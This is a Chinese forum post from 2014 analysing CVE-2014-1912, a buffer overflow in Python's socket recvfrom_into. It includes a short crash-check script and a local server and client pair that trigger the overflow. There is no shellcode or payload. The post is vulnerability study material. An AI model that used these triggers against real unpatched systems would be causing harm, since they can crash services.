-
-
[原创]CVE-2014-1912漏洞介绍与简单分析
-
发表于:
2014-3-7 16:05
6531
-
[原创]CVE-2014-1912漏洞介绍与简单分析
前段时间,CVE上收录了Python缓冲区溢出漏洞CVE-2014-1912。正好自己在学Pyhon,于是跟踪分析了下。自己是个新手,对于shellcode编写还没掌握,所以这里侧重于漏洞的原理介绍和溢出点的定位,如有不足和错误之处还请大家指点,谢谢。
1.漏洞介绍
这个漏洞产生于Python socket模块中的recvfrom_into函数,该函数在处理过程中,对recvlen和buf.len的判断存在问题。
该漏洞会影响Python 2.7.7/3.4.4之前的版本。
你也可以运行如下脚本进行检查,如果产生段错误,则说明存在这个漏洞。
import socket
r, w = socket.socketpair()
w.send(b'X' * 1024)
r.recvfrom_into(bytearray(), 1024)
import socket, array
host = socket.gethostname()
port = 40000
s = socket.socket()
s.bind((host, port))
#mybuf = bytearray(b'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB')
#print hex(id(mybuf))
mybuf = array.array('c', 'B'*5)
print len(mybuf)
print hex(id(mybuf))
s.listen(5)
while True:
c, addr = s.accept()
nbytes, c_addr = c.recvfrom_into(mybuf, 1024)
print 'recv ', nbytes, ' bytes: ', mybuf
c.close()
import socket
host = socket.gethostname()
port = 40000
s = socket.socket()
s.connect((host, port))
buf = 'AAAAAAA'
s.send(buf)
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课